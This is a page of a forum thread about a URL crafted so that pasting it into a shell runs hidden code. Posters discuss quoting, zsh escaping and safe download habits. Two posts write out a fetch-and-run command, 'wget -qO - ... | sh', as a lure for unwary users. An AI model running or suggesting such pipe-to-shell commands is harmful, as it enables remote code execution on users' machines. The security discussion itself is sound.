URL is also a shell script that executes some malicious(?) code
21–30 of 74 posts
Re: URL is also a shell script that executes some malicious(?) code
#22Sounds like terminal software just needs a paste url option that sanitized before pasting.
Bash doesn't, because that would be a breaking change.
Re: URL is also a shell script that executes some malicious(?) code
#23That is pretty bad. Shows that "right click, copy link, type wget ', paste, type ', enter" is a receipe to get pwned. Same is probably true even when you do not paste it into a terminal but into a script. Like "Ok, I'm gonna automate downloading this ..."
Re: URL is also a shell script that executes some malicious(?) code
#24Clever, but I really hope nobody is going to blindly copy-paste-go! a URL like that. Especially if you're technical enough to use a terminal, you should know better.
Wouldn't
wget -qO - www.example.com/script | sh
catch far more of the uninitiated?Re: URL is also a shell script that executes some malicious(?) code
#25I could only get it work with bash, on zsh it does not work.
Because zsh has usually the url-quote-magic feature enabled which automatically escapes all special characters typed or pasted if the current argument is identified as URL.
Re: URL is also a shell script that executes some malicious(?) code
#26Clever, but I really hope nobody is going to blindly copy-paste-go! a URL like that. Especially if you're technical enough to use a terminal, you should know better.
Now this example wasn't exactly well camouflaged, but I'd not be surprised if you can make it much more innocent looking.
Re: URL is also a shell script that executes some malicious(?) code
#27Clever, but I really hope nobody is going to blindly copy-paste-go! a URL like that. Especially if you're technical enough to use a terminal, you should know better.
This happens often enough, there's an entry in youtube-dl FAQ about it:
https://github.com/ytdl-org/youtube-dl#video-url-contains-an...
(They advice to add single quotes around the URL, which as you now know, is not necessarily sufficient.)
Re: URL is also a shell script that executes some malicious(?) code
#28Re: URL is also a shell script that executes some malicious(?) code
#29Clever, but I really hope nobody is going to blindly copy-paste-go! a URL like that. Especially if you're technical enough to use a terminal, you should know better.
I mean, it like dodgy to any user familiar with URLs surely? Wouldn't wget -qO - www.example.com/script | sh catch far more of the uninitiated?
Re: URL is also a shell script that executes some malicious(?) code
#30That is pretty bad. Shows that "right click, copy link, type wget ', paste, type ', enter" is a receipe to get pwned. Same is probably true even when you do not paste it into a terminal but into a script. Like "Ok, I'm gonna automate downloading this ..."
Automating might actually make it safer, my typical idiom is `while read -r url; do wget "$url"; done < ./urls` (or `tail -zf ./urls|while…` to make it an url downloader daemon =P)
wget -i ./urls